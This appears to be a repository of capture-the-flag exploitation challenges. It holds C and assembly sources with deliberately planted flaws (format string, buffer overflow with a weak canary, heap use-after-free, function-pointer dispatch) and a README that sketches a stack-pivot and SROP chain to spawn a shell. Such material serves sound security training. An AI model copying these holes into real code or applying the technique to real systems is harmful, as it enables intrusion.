"255;98m▄\e[48;2;24;85;32m\e[38;2;59;210;81m▄\e[48;2;42;151;58m\e[38;2;24;85;32m▄\e[48;2;72;255;98m\e[38;2;15;53;20m▄\e[0m\e[38;2;69;245;94m▀\e[38;2;66;234;90m▀\e[38;2;61;217;83m▀\e[38;2;55;195;75m▀" \ 195 | "\e[48;2;62;219;84m\e[38;2;47;169;65m▄\e[48;2;63;224;86m\e[38;2;72;255;98m▄\e[48;2;69;244;94m\e[38;2;71;254;97m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;72;2" \ 196 | "55;98m\e[38;2;72;255;98m▄\e[48;2;69;245;94m\e[38;2;70;248;95m▄\e[48;2;21;76;29m\e[38;2;70;248;95m▄\e[48;2;34;120;46m\e[38;2;72;255;98m▄\e[48;2;62;220;84m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2" \ 197 | ";69;246;94m▄\e[0m\e[38;2;34;122;47m▀\n \e[38;2;18;66;25m▀\e[38;2;30;111;42m▀ \e[38;2;21;75;28m▀\e[38;2;44;158;60m▀\e[38;2;65;234;89m▀\e[48;2;70;249;95m\e[38;2;28;103;39m▄\e" \ 198 | "[48;2;70;251;96m\e[38;2;52;187;71m▄\e[48;2;71;252;96m\e[38;2;69;245;94m▄\e[48;2;71;254;97m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;69;244;94m▄\e[0m\e[38;2;58;208;80m▀\e[38;2;60;215;82m▀\e[48;2;" \ 199 | "72;255;98m\e[38;2;17;63;24m▄\e[48;2;72;255;98m\e[38;2;35;126;48m▄\e[48;2;72;255;98m\e[38;2;51;182;70m▄\e[48;2;72;255;98m\e[38;2;62;222;85m▄\e[48;2;71;252;97m\e[38;2;70;247;95m▄\e[48;2;70;250;96m\e[" \ 200 | "38;2;71;253;97m▄\e[48;2;64;227;87m\e[38;2;39;140;54m▄\e[0m\e[38;2;15;55;21m▄\e[38;2;19;70;27m▄\e[38;2;22;78;30m▄\e[38;2;27;98;37m▄\e[38;2;33;117;45m▄\e[38;2;41;145;55m▄\e[38;2;49;174;67m▄\e[48;2;72" \ 201 | ";255;98m\e[38;2;43;154;59m▄\e[48;2;72;255;98m\e[38;2;30;109;42m▄\e[48;2;72;255;98m\e[38;2;17;60;23m▄\e[0m\e[38;2;64;228;87m▀\e[38;2;42;151;58m▀\e[48;2;38;135;52m\e[38;2;51;180;69m▄\e[48;2;71;252;97" \ 202 | "m\e[38;2;72;255;98m▄\e[48;2;71;252;97m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;57;202;77m▄\e[48;2;72;255;98m\e[38;2;18;66;25m▄\e[0m\e[38;2;32;115;44m▀\n \e[38;" \ 203 | "2;29;105;40m▀\e[38;2;30;108;41m▀ \e[38;2;26;95;36m▄\e[48;2;62;222;85m\e[38;2;70;250;96m▄\e[48;2;71;254;97m\e[38;2;70;249;96m▄\e[48;2;72;255;98m\e[38;2;70;250;96m▄\e[48;2;72;255;98m\e[38;2;70;2" \ 204 | "50;96m▄\e[48;2;72;255;98m\e[38;2;70;249;96m▄\e[48;2;72;255;98m\e[38;2;70;247;95m▄\e[48;2;72;255;98m\e[38;2;69;246;94m▄\e[48;2;72;255;98m\e[38;2;70;247;95m▄\e[0m\e[38;2;37;132;50m▀ \e[38;2;30;108;" \ 205 | "41m▄\e[48;2;31;110;42m\e[38;2;51;182;70m▄\e[48;2;72;255;98m\e[38;2;23;83;32m▄\e[0m\e[38;2;59;209;80m▀\e[38;2;28;99;38m▀\n \e[38;2;20;73;28m▀\e[48;2;72;255;9" \ 206 | "8m\e[38;2;26;94;36m▄\e[48;2;72;255;98m\e[38;2;36;128;49m▄\e[48;2;72;255;98m\e[38;2;45;161;62m▄\e[48;2;72;255;98m\e[38;2;51;181;69m▄\e[48;2;72;255;98m\e[38;2;52;186;71m▄\e[48;2;72;255;98m\e[38;2;52;" \ 207 | "185;71m▄\e[48;2;72;255;98m\e[38;2;49;174;67m▄\e[48;2;72;255;98m\e[38;2;40;144;55m▄\e[0m\e[38;2;49;173;66m▀ \e[38;2;14;50;19m▀\e[38;2;17;62;23m▀\e[0m\n"); 208 | } 209 | 210 | void w9IufIp(){ 211 | 212 | // 213 | } 214 | 215 | void x4N20OF(){ 216 | 217 | register long rdi asm ("rdi"); 218 | register long rsi asm ("rsi"); 219 | 220 | rsi = rdi; 221 | } 222 | 223 | void RYmCgnz(){ 224 | 225 | char x4N2[16]; 226 | read(0, x4N2, sizeof(x4N2)); 227 | x4N2[sizeof(x4N2)-1] = '\0'; 228 | puts(x4N2); 229 | } 230 | 231 | void S84MSTR(){ 232 | 233 | int i = 0; 234 | for (i = 0; i < rand() & 0xff; i++) 235 | putchar(rand() & 0xff); 236 | 237 | putchar(0x0a); 238 | } 239 | 240 | void EGexJEB(){ 241 | 242 | register long r11 asm ("r11"); 243 | register long rcx asm ("rcx"); 244 | 245 | rcx += rcx >> 16; 246 | r11 ^= rcx; 247 | } 248 | 249 | void NBKY1ub(){ 250 | 251 | system("d0g ./fl4444g"); 252 | } 253 | 254 | void PvdMpNh(){ 255 | 256 | printf("Haikus are easy\nBut sometimes they don't make sense\nMicrowave noodles!\n"); 257 | } 258 | 259 | void GLL1JFR(){ 260 | 261 | register long rdi asm ("rdi"); 262 | puts("zZzzzZzZZ"); 263 | sleep(rdi & 0xff); 264 | } 265 | 266 | void NiUTo1R(){ 267 | 268 | puts("https://www.youtube.com/watch?v=dQw4w9WgXcQ"); 269 | } 270 | 271 | void daGS75A(){ 272 | 273 | register long rdi asm ("rdi"); 274 | srand(rdi); 275 | rdi = rand(); 276 | } 277 | 278 | void NsS879W(){ 279 | 280 | register long eax asm ("eax"); 281 | printf("NsS879W is not a function, it is a way of life %d\n", (int) eax); 282 | } 283 | 284 | void Xt9KAAY(){ 285 | 286 | register long rcx asm ("rcx"); 287 | rcx = rcx << 16; 288 | } 289 | 290 | void ZJJgn6q(){ 291 | 292 | free((void *) rand()); 293 | } 294 | 295 | void p1cT0S1(){ 296 | 297 | register long rdi asm ("rdi"); 298 | puts("ZzZZZzZzz"); 299 | usleep(rdi & 0xffff); 300 | } 301 | 302 | void M1vJ30d(){ 303 | 304 | char str[32] = "\xe2\xe2\xed\x99\x82\x89\x82\xf7\xed\xbd\xa2\xbd\xed\xe2\xaf\xa4\xa3\xe2\xbe\xa5\x00"; 305 | for (int i = 0; i < strlen(str); i++) 306 | putchar(str[i] ^ 0xcd); 307 | 308 | putchar(0x0a); 309 | } 310 | 311 | void dump(const char *prefix, char *mem, long size){ 312 | 313 | char c; 314 | int i; 315 | int v; 316 | int p = strlen(prefix)-8; 317 | char s[(DUMPS_SIZE*3)+1]; 318 | char x[DUMPS_SIZE+1]; 319 | 320 | memset(s, ' ', sizeof(s)); 321 | memset(x, '\0', sizeof(x)); 322 | for (i = 0, v = 0; i < size; i++){ 323 | 324 | if (i == 0) 325 | printf("%s", prefix); 326 | 327 | c = *(mem+i); 328 | printf("%02x ", c & 0xff); 329 | x[i % (sizeof(x)-1)] = (isprint(c))? c: '.'; 330 | 331 | if ((i % DUMPS_SIZE == DUMPS_SIZE-1 && i < size-1) || i == size-1){ 332 | printf("%.*s", (DUMPS_SIZE * 3) - ((i % DUMPS_SIZE) * 3), s); 333 | printf("%s", x); 334 | printf("%.*s \e[1mv:\e[0m %08x\n", DUMPS_SIZE-(i%DUMPS_SIZE), s, cvals[v++]); 335 | 336 | if (i <= size-2) 337 | printf("%.*s", p, s); 338 | 339 | memset(x, '\0', sizeof(x)); 340 | } 341 | } 342 | } 343 | 344 | int read_input(char *input, long *size, long *debug){ 345 | 346 | ssize_t n; 347 | if ((n = read(0, input, INPUT_SIZE)) == 0) 348 | return n; 349 | 350 | if (input[n-1] == '\n') 351 | input[n-1] = '\0'; 352 | 353 | *size = strlen(input); 354 | if (*size == 0) 355 | return n; 356 | 357 | memset(cvals, '\0', sizeof(cvals)); 358 | 359 | int i, v = 0; 360 | for (i = 0; i < *size; i += CHUNK_SIZE) 361 | cvals[v++] = crc32(0, (const char *) &input[i], MIN(*size-i, CHUNK_SIZE)); 362 | 363 | if (*(long *) debug > 0) 364 | dump("\e[1mdebug:\e[0m ", input, *size); 365 | 366 | return n; 367 | } 368 | 369 | void quit(){ 370 | 371 | int i; 372 | printf("\nbye "); 373 | 374 | for (i = 0; i < 5; i++){ 375 | usleep(400000); 376 | printf("."); 377 | } 378 | 379 | printf("\n"); 380 | _exit(EXIT_SUCCESS); 381 | } 382 | 383 | void populate(){ 384 | 385 | funcs[0x0] = &w9IufIp; 386 | funcs[0x1] = &daGS75A; 387 | funcs[0x2] = &NBKY1ub; 388 | funcs[0x3] = &NsS879W; 389 | funcs[0x4] = &Xt9KAAY; 390 | funcs[0x5] = &M1vJ30d; 391 | funcs[0x6] = &ZJJgn6q; 392 | funcs[0x7] = &x4N20OF; 393 | funcs[0x8] = &GLL1JFR; 394 | funcs[0x9] = &RYmCgnz; 395 | funcs[0xa] = &p1cT0S1; 396 | funcs[0xb] = &PvdMpNh; 397 | funcs[0xc] = &EGexJEB; 398 | funcs[0xd] = &NiUTo1R; 399 | funcs[0xe] = &S84MSTR; 400 | } 401 | 402 | int main(int argc, char *argv[]){ 403 | 404 | long tries = 0; 405 | long crcsz = 0; 406 | unsigned int fails = 0; 407 | unsigned int debug = 0; 408 | 409 | alarm(60); 410 | signal(SIGALRM, quit); 411 | 412 | setvbuf(stdin, 0, _IONBF, 0); 413 | setvbuf(stdout, 0, _IONBF, 0); 414 | 415 | banner(); 416 | populate(); 417 | 418 | int opt; 419 | while((opt = getopt(argc, argv, ":d")) != -1) 420 | switch(opt){ 421 | case 'd': 422 | debug = 1; 423 | break; 424 | } 425 | 426 | for (tries = 1; tries <= (3 + fails); tries++){ 427 | 428 | printf("\e[1mattempt (%d/%d):\e[0m ", (int) (tries - fails), 3); 429 | if (read_input(input, &crcsz, &debug) == 0) 430 | break; 431 | 432 | if (crcsz == 0){ 433 | fails++; 434 | continue; 435 | } 436 | 437 | int i, v; 438 | for (i = 0, v = 0; i < crcsz; i += CHUNK_SIZE) 439 | (*(funcs[abs(cvals[v++]) % 0x0f]))(&input[i]); 440 | } 441 | 442 | return EXIT_SUCCESS; 443 | } -------------------------------------------------------------------------------- /pwnyracing/chall03/README.md: -------------------------------------------------------------------------------- 1 | # Chall 03 2 | 3 | ## Description 4 | 5 | A simple buffer overflow with a slightly tricky landing where some prior 6 | knowledge about x86 segmentation and modes as well as ABI's will give an 7 | advantage. The problem can be solved dynamically or statically (or both) 8 | and there are a few tricky parts but nothing too painful. 9 | 10 | There is a custom weak stack canary implementation to bypass which adds a 11 | slight random factor to keep things interesting. 12 | 13 | ## Exploitation 14 | 15 | The general idea is that you can bounce between `x64` and `x32` modes in 16 | order to gain a shell gradually. 17 | 18 | The simplest way to do this is the following: 19 | 20 | 1. Provide a canary seed that can be used later (stored in a known location in `.bss`). 21 | 2. Perform a buffer overflow that will point the return address to the `x86` gadgets in the `BuildID` (`mov esp, ebx; aaa; int 0x80; retf`). The interesting thing about this gadget chain is not just that it shows the trick of using the `BuildID` for occassional gadgets but that the chain has the `aaa` instruction which is not valid on x64 and will show as `*bad*` in tools and also cause a `#UD` exception in x64 mode. The idea is to pivot `esp` to .bss where the previous canary seed was written and use that to change the execution mode back to `x64` and restart the application. 22 | 3. Now the stack is pivoted, run the application again in order to lay data down for later since the size of the input becomes the syscall number to use in x32 mode there will not be enough room to have a full SROP payload for `SYS_sigreturn` on `x32` (`0x77`). 23 | 4. Restart the application yet again in `x64` mode and this time write the SROP payload and perform the SROP to gain control over registers. 24 | 5. The SROP can be tricky with switching modes due to some segment registers being trashed until a context switch, but the idea is to get a quick `execve("/bin/sh", NULL, NULL)` but with some approaches another run may be required to correct the segmentation problem. 25 | 26 | ## Hints 27 | 28 | If there are hints provided I would imagine they would be: 29 | 30 | 1. `BuildID` 31 | -------------------------------------------------------------------------------- /pwnyracing/chall03/dist/chall03.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall03/dist/chall03.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall03/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | 3 | CFLAGS=-s -z noexecstack -nostdlib -no-pie -fno-pic -Tdata=0x06000000 4 | LFLAGS= 5 | SRC=chall03.S 6 | OBJ=$(SRC:.S=.o) 7 | BIN=chall03 8 | 9 | all: 10 | $(MAKE) $(BIN) 11 | @/usr/bin/printf '\x89\xdc\x37\xcd\x80\xcb' | dd of=$(BIN) bs=1 seek=308 count=6 conv=notrunc 12 | 13 | $(BIN): $(OBJ) 14 | $(CC) $(CFLAGS) $(OBJ) -o $@ $(LFLAGS) 15 | 16 | .o: 17 | $(CC) $(CFLAGS) $< -o $@ 18 | 19 | challenge: all 20 | rm -f $(OBJ) 21 | 22 | clean: 23 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall03/src/chall03.S: -------------------------------------------------------------------------------- 1 | .data 2 | seed: 3 | .string "seed:\n" 4 | msg: 5 | .string "overflow:\n" 6 | 7 | .bss 8 | .align 0x400 9 | cookie: 10 | .quad 0x00 11 | 12 | .text 13 | 14 | .globl _start 15 | _start: 16 | 17 | mov $1, %rax 18 | mov $1, %rdi 19 | movabs $seed, %rsi 20 | mov $6, %rdx 21 | syscall 22 | 23 | xor %rax, %rax 24 | xor %rdi, %rdi 25 | movabs $cookie, %rbx 26 | mov %rbx, %rsi 27 | mov $8, %rdx 28 | syscall 29 | 30 | rdtsc 31 | xor %rdx, %rax 32 | mov %rbx, %rdi 33 | mov $0, %rcx 34 | 35 | loop: 36 | 37 | mov %rbx, %rdi 38 | add %rcx, %rdi 39 | xorb %al, (%rdi) 40 | inc %rcx 41 | cmp $8, %rcx 42 | jl loop 43 | 44 | mov (%rbx), %rax 45 | push %rax 46 | sub $32, %rsp 47 | 48 | mov $1, %rax 49 | mov $1, %rdi 50 | movabs $msg, %rsi 51 | mov $10, %rdx 52 | syscall 53 | 54 | xor %rax, %rax 55 | xor %rdi, %rdi 56 | mov %rsp, %rsi 57 | mov $256, %rdx 58 | syscall 59 | 60 | add $32, %rsp 61 | mov $1, %rdi 62 | mov $3, %rsi 63 | mov $3, %rdx 64 | mov $7, %rcx 65 | 66 | cmp $32, %rax 67 | jle exit 68 | 69 | pop %r11 70 | xor (%rbx), %r11 71 | jnz exit 72 | 73 | movq $0x23, 8(%rsp) 74 | retfq 75 | 76 | exit: 77 | 78 | mov $60, %rax 79 | mov $0, %rbx 80 | syscall -------------------------------------------------------------------------------- /pwnyracing/chall04/dist/chall04.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall04/dist/chall04.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall04/src/Makefile: -------------------------------------------------------------------------------- 1 | # For compiling on ARM system 2 | CC=gcc 3 | 4 | # For cross compiling 5 | #CC=arm-linux-gnueabi-gcc 6 | 7 | CFLAGS=-m32 -pie -Wl,-z,relro,-z,now -fstack-protector-all -z noexecstack -Wall -Wno-format-security -Wstack-protector -ansi 8 | LDFLAGS= 9 | SRC=chall04.c 10 | OBJ=$(SRC:.c=.o) 11 | BIN=chall04 12 | 13 | .PHONY : clean 14 | 15 | all: 16 | $(MAKE) $(BIN) 17 | 18 | $(BIN): $(OBJ) 19 | $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $@ 20 | 21 | .o: 22 | $(CC) $(CFLAGS) $< -o $@ 23 | 24 | challenge: all 25 | rm -f $(OBJ) 26 | 27 | clean: 28 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall04/src/chall04.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define LOGIN_LIMIT 5 5 | #define LOGIN_PASSWD "pwnyr4c3" 6 | 7 | int checkpass(char *pass){ 8 | 9 | if (strcmp(pass, LOGIN_PASSWD) == 0) 10 | return 0; 11 | 12 | return -1; 13 | } 14 | 15 | int login(char *fmt){ 16 | 17 | char pass[128]; 18 | printf("pass: "); 19 | fflush(stdout); 20 | 21 | if (scanf(fmt, pass)) 22 | if (checkpass(pass) == 0) 23 | return 0; 24 | 25 | printf(pass); printf(" is incorrect\n"); 26 | 27 | return -1; 28 | } 29 | 30 | int shell(){ 31 | 32 | printf("/* I knew I forgot to code something... */\n"); 33 | return 0; 34 | } 35 | 36 | void banner(){ 37 | 38 | puts("\n pwny.racing presents...\n"); 39 | 40 | puts("\x1b[1;35m\x1b[47m▄█████████\x1b[0m\x1b[1;35m▄\x1b[0m \x1b[1;35m\x1b[4" \ 41 | "7m▄███\x1b[0m \x1b[1;35m\x1b[47m▄███\x1b[0m \x1b[1;35m\x1b[47m▄███\x1b[0m " \ 42 | " \x1b[1;35m\x1b[47m▄███\x1b[0m \x1b[1;35m\x1b[47m▄█████████\x1b[0m\x1b[1;35m▄" \ 43 | "\x1b[0m \x1b[1;35m\x1b[47m▄███\x1b[0m\n\x1b[0;45m\x1b[1;35m████▀▀▀████\x1b[0m " \ 44 | "\x1b[1;35m████ ████\x1b[0m \x1b[1;35m█████▄ ████\x1b[0m \x1b[0;45m\x1b[1;3" \ 45 | "5m▀▀▀▀▀▀▀████\x1b[0m \x1b[1;35m████\x1b[0m\n\x1b[1;35m████▄▄▄████\x1b[0m \x1b[" \ 46 | "1;35m████ ▄ ████\x1b[0m \x1b[1;35m███████████\x1b[0m \x1b[1;35m ▄▄▄███" \ 47 | "\x1b[0;45m\x1b[1;35m▀\x1b[0m \x1b[1;35m████\x1b[0m\n\x1b[1;35m██████████\x1b[0" \ 48 | ";45m\x1b[1;35m▀\x1b[0m \x1b[1;35m████▄███▄████\x1b[0m \x1b[1;35m████\x1b[45m▀" \ 49 | "\x1b[0m\x1b[1;35m██████\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀███\x1b[0m\x1b[1;35m" \ 50 | "▄\x1b[0m \x1b[1;35m████\x1b[0m\n\x1b[1;35m████\x1b[0;35m▀▀▀▀▀▀\x1b[0m \x1b[1;" \ 51 | "35m██████\x1b[0;45m\x1b[1;35m▀██████\x1b[0m \x1b[1;35m████\x1b[0m \x1b[35m▀" \ 52 | "\x1b[0m\x1b[0;45m\x1b[1;35m▀████\x1b[0m \x1b[1;35m▄▄▄▄▄▄▄████\x1b[0m \x1b[0;45" \ 53 | "m\x1b[1;35m▀▀▀▀\x1b[0m\n\x1b[1;35m████\x1b[0m \x1b[1;35m████\x1b[0;45m" \ 54 | "\x1b[1;35m▀\x1b[0;35m▀\x1b[0m \x1b[0;35m▀\x1b[1;35m\x1b[0;45m\x1b[1;35m▀████" \ 55 | "\x1b[0m \x1b[1;35m████\x1b[0m \x1b[1;35m████\x1b[0m \x1b[1;35m██████████\x1b" \ 56 | "[0;45m\x1b[1;35m▀\x1b[0m \x1b[1;35m████\x1b[0m\n\x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0" \ 57 | "m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m " \ 58 | "\x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m \x1b[0;45m" \ 59 | "\x1b[1;35m▀▀▀▀▀▀▀▀▀▀\x1b[0m \x1b[0;45m\x1b[1;35m▀▀▀▀\x1b[0m\n"); 60 | } 61 | 62 | void clearenv(char *argv[], char *envp[]){ 63 | 64 | char** arg; 65 | char* c; 66 | 67 | for (arg = argv; *arg; arg++) 68 | for (c = *arg; *c; c++) 69 | *c = '\0'; 70 | 71 | for (arg = envp; *arg; arg++) 72 | for (c = *arg; *c; c++) 73 | *c = '\0'; 74 | 75 | *argv = 0; 76 | *envp = 0; 77 | } 78 | 79 | int main(int argc, char *argv[], char *envp[]){ 80 | 81 | setvbuf(stdin, 0, _IONBF, 0); 82 | setvbuf(stdout, 0, _IONBF, 0); 83 | 84 | char fmt[8]; 85 | strcpy(fmt, "%12s"); 86 | 87 | banner(); 88 | clearenv(argv, envp); 89 | 90 | int i; 91 | for (i = 0; i < LOGIN_LIMIT; i++) 92 | if (login(fmt) == 0) 93 | if (shell() == 0) 94 | break; 95 | 96 | if (i == LOGIN_LIMIT) 97 | printf("\x1b[31;1merror:\x1b[0m too many attempts!\n"); 98 | 99 | return 0; 100 | } -------------------------------------------------------------------------------- /pwnyracing/chall05/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -no-pie -fno-pic -fstack-protector-all -z noexecstack -Wall -Wno-parentheses -Wstack-protector -ansi -O2 2 | SRC=chall06.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=$(SRC:.c=) 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall05/src/chall05.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define MAX_GUYS 255 10 | #define MAX_NAME 48 11 | #define MAX_DESC 1024 12 | 13 | #define CMD_ADD "add" 14 | #define CMD_DEL "del" 15 | #define CMD_SHOW "show" 16 | #define CMD_EDIT "edit" 17 | #define CMD_SCORE "inc" 18 | #define CMD_TOP "lead" 19 | #define CMD_LEAD "top" 20 | #define CMD_QUIT "quit" 21 | 22 | typedef struct { 23 | uint32_t index; 24 | uint32_t score; 25 | char name[MAX_NAME]; 26 | char *desc; 27 | } guy; 28 | 29 | typedef struct { 30 | guy *guy; 31 | char alias[16]; 32 | } alias; 33 | 34 | guy *guys[MAX_GUYS]; 35 | guy *freed[MAX_GUYS]; 36 | alias *akas[MAX_GUYS]; 37 | int next = 0; 38 | int count = 0; 39 | 40 | void error(const char *format, ...){ 41 | 42 | printf("\033[31;1merror:\033[0m "); 43 | va_list vargs; 44 | va_start(vargs, format); 45 | vprintf(format, vargs); 46 | printf("\n"); 47 | va_end(vargs); 48 | } 49 | 50 | void success(const char *format, ...){ 51 | 52 | printf("\033[32;1msuccess:\033[0m "); 53 | va_list vargs; 54 | va_start(vargs, format); 55 | vprintf(format, vargs); 56 | printf("\n"); 57 | va_end(vargs); 58 | } 59 | 60 | guy *find(char *a){ 61 | 62 | uint32_t i; 63 | for (i = 0; i < MAX_GUYS; i++){ 64 | if (akas[i]) 65 | if (strcmp(akas[i]->alias, a) == 0) 66 | return ((guy *) akas[i]->guy); 67 | } 68 | 69 | return (guy *) 0; 70 | } 71 | 72 | guy *getguy(){ 73 | 74 | if (count <= 0){ 75 | error("no players"); 76 | return 0; 77 | } 78 | 79 | unsigned int i = 0; 80 | guy *curr = 0; 81 | 82 | while (curr == 0){ 83 | printf("index: "); 84 | fflush(stdout); 85 | 86 | if (scanf("%3u", &i)) 87 | if (i <= MAX_GUYS && guys[i] != 0) 88 | curr = guys[i]; 89 | else 90 | error("no such player"); 91 | } 92 | 93 | return curr; 94 | } 95 | 96 | int getname(char *name){ 97 | 98 | name[0] = '\0'; 99 | while (strlen(name) == 0){ 100 | 101 | printf("player: "); 102 | fflush(stdout); 103 | 104 | if (fgets(name, MAX_NAME, stdin)) 105 | name[strcspn(name, "\r\n")] = 0; 106 | } 107 | 108 | return strlen(name); 109 | } 110 | 111 | int getdesc(char *desc){ 112 | 113 | desc[0] = '\0'; 114 | while (strlen(desc) == 0){ 115 | 116 | printf("desc: "); 117 | fflush(stdout); 118 | 119 | if (fgets(desc, MAX_DESC, stdin)) 120 | desc[strcspn(desc, "\r\n")] = 0; 121 | } 122 | 123 | return strlen(desc); 124 | } 125 | 126 | uint32_t getscore(){ 127 | 128 | uint32_t score = 0; 129 | 130 | while (score == 0){ 131 | printf("score: "); 132 | fflush(stdout); 133 | 134 | if (scanf("%3u", &score)) 135 | if (score <= 0 || score > 999){ 136 | error("invalid score"); 137 | score = 0; 138 | } 139 | } 140 | 141 | return score; 142 | } 143 | 144 | int add(char *aka){ 145 | 146 | if (count >= MAX_GUYS){ 147 | error("player limit exeeded"); 148 | return -1; 149 | } 150 | 151 | if (find(aka) != 0){ 152 | error("player exists"); 153 | return -1; 154 | } 155 | 156 | char name[MAX_NAME]; 157 | char desc[MAX_DESC]; 158 | char *str; 159 | guy *newguy = 0; 160 | alias *newalias = 0; 161 | 162 | if (getname(name) <= 0) 163 | return -1; 164 | 165 | if (getdesc(desc) <= 0) 166 | return -1; 167 | 168 | newguy = malloc(sizeof(guy)); 169 | if (!newguy){ 170 | error("problem allocating memory for %s", name); 171 | return -1; 172 | } 173 | 174 | str = malloc(strlen(desc)+1); 175 | if (!str){ 176 | error("problem allocating memory for %s", name); 177 | return -1; 178 | } 179 | 180 | newguy->index = next++; 181 | newguy->score = 0; 182 | newguy->desc = str; 183 | memcpy(newguy->name, name, sizeof(name)); 184 | memcpy(newguy->desc, desc, strlen(desc)+1); 185 | 186 | guys[newguy->index] = newguy; 187 | count++; 188 | 189 | if (strlen(aka) > 0){ 190 | 191 | newalias = malloc(sizeof(alias)); 192 | if (!newalias){ 193 | error("problem allocating memory for %s", aka); 194 | return -1; 195 | } 196 | 197 | newalias->guy = newguy; 198 | memcpy(newalias->alias, aka, sizeof(newalias->alias)); 199 | 200 | akas[newguy->index] = newalias; 201 | } 202 | 203 | if (!newalias) 204 | success("player added (index: %d; name: %s)", newguy->index, newguy->name); 205 | else 206 | success("player added (index: %d; name: %s; alias: %s)", newguy->index, newguy->name, newalias->alias); 207 | 208 | return 0; 209 | } 210 | 211 | int edit(guy *curr){ 212 | 213 | if (!curr) 214 | if ((curr = getguy()) == 0) 215 | return -1; 216 | 217 | int size; 218 | char name[MAX_NAME]; 219 | char desc[MAX_DESC]; 220 | 221 | if (getname(name) <= 0) 222 | return -1; 223 | 224 | if (getdesc(desc) <= 0) 225 | return -1; 226 | 227 | size = strlen(curr->desc); 228 | if (strlen(desc) > size){ 229 | free(curr->desc); 230 | curr->desc = malloc(strlen(desc)+1); 231 | if (!curr->desc){ 232 | error("problem allocating memory for %s", name); 233 | return -1; 234 | } 235 | } 236 | 237 | curr->score = getscore(); 238 | memcpy(curr->name, name, sizeof(name)); 239 | memcpy(curr->desc, desc, strlen(desc)+1); 240 | 241 | success("player updated (index: %d; name: %s)", curr->index, curr->name); 242 | 243 | return 0; 244 | } 245 | 246 | int del(guy *curr){ 247 | 248 | if (!curr) 249 | if ((curr = getguy()) == 0) 250 | return -1; 251 | 252 | success("deleted %s", curr->name); 253 | 254 | char *desc = curr->desc; 255 | 256 | guys[curr->index] = 0; 257 | free(curr); 258 | free(desc); 259 | 260 | count--; 261 | 262 | return 0; 263 | } 264 | 265 | int show(guy *curr){ 266 | 267 | if (!curr) 268 | if ((curr = getguy()) == 0) 269 | return -1; 270 | 271 | printf("\nplayer:\n"); 272 | printf(" index: %d\n", curr->index); 273 | printf(" player: %s\n", curr->name); 274 | printf(" desc: %s\n", curr->desc); 275 | printf(" score: %d\n", curr->score); 276 | 277 | return 0; 278 | } 279 | 280 | int score(guy *curr){ 281 | 282 | if (!curr) 283 | if ((curr = getguy()) == 0) 284 | return -1; 285 | 286 | int score; 287 | if ((score = getscore()) == 0) 288 | return -1; 289 | 290 | curr->score += score; 291 | 292 | success("%s scored %u points (total: %u)", curr->name, score, curr->score); 293 | 294 | return 0; 295 | } 296 | 297 | int cmp (const void *a, const void *b){ 298 | 299 | guy *ptr1 = *((guy **) a); 300 | guy *ptr2 = *((guy **) b); 301 | 302 | if (!ptr1 || !ptr2) 303 | return 0; 304 | 305 | if (ptr1->score > ptr2->score) 306 | return -1; 307 | 308 | if (ptr1->score < ptr2->score) 309 | return 1; 310 | 311 | return 0; 312 | } 313 | 314 | int top(){ 315 | 316 | if (count <= 0){ 317 | error("no players"); 318 | return -1; 319 | } 320 | 321 | puts(""); 322 | 323 | int i; 324 | guy *ptr = 0; 325 | guy *max = 0; 326 | 327 | i = 0; 328 | for (i = 0; i < MAX_GUYS; i++) 329 | if ((ptr = guys[i]) != 0) 330 | if (!max || ptr->score > max->score) 331 | max = ptr; 332 | 333 | if (max->score == 0) 334 | error("no points scored yet"); 335 | else 336 | show(max); 337 | 338 | return 0; 339 | } 340 | 341 | int totals(){ 342 | 343 | if (count <= 0){ 344 | error("no players"); 345 | return -1; 346 | } 347 | 348 | int i, n = 1, l = 0; 349 | char *pad = " "; 350 | guy *curr; 351 | guy *sort[MAX_GUYS]; 352 | 353 | for (i = 0, n = 0; i < MAX_GUYS; i++) 354 | sort[n++] = guys[i]; 355 | 356 | qsort(sort, n, sizeof(guy *), cmp); 357 | 358 | for (i = 0, n = 1; i < MAX_GUYS; i++){ 359 | curr = (guy *) sort[i]; 360 | if (curr != 0){ 361 | l = strlen(pad) - strlen(curr->name); 362 | printf("%3d. %s%.*s %5d\n", n++, curr->name, l, pad, curr->score); 363 | } 364 | } 365 | 366 | return 0; 367 | } 368 | 369 | void quit(){ 370 | 371 | printf("\ngame over...\n"); 372 | exit(0); 373 | } 374 | 375 | void process(char *cmd, char *aka){ 376 | 377 | guy *alias; 378 | 379 | if (strlen(cmd) == 0) 380 | return; 381 | 382 | if (strlen(aka) > 0) 383 | alias = find(aka); 384 | else 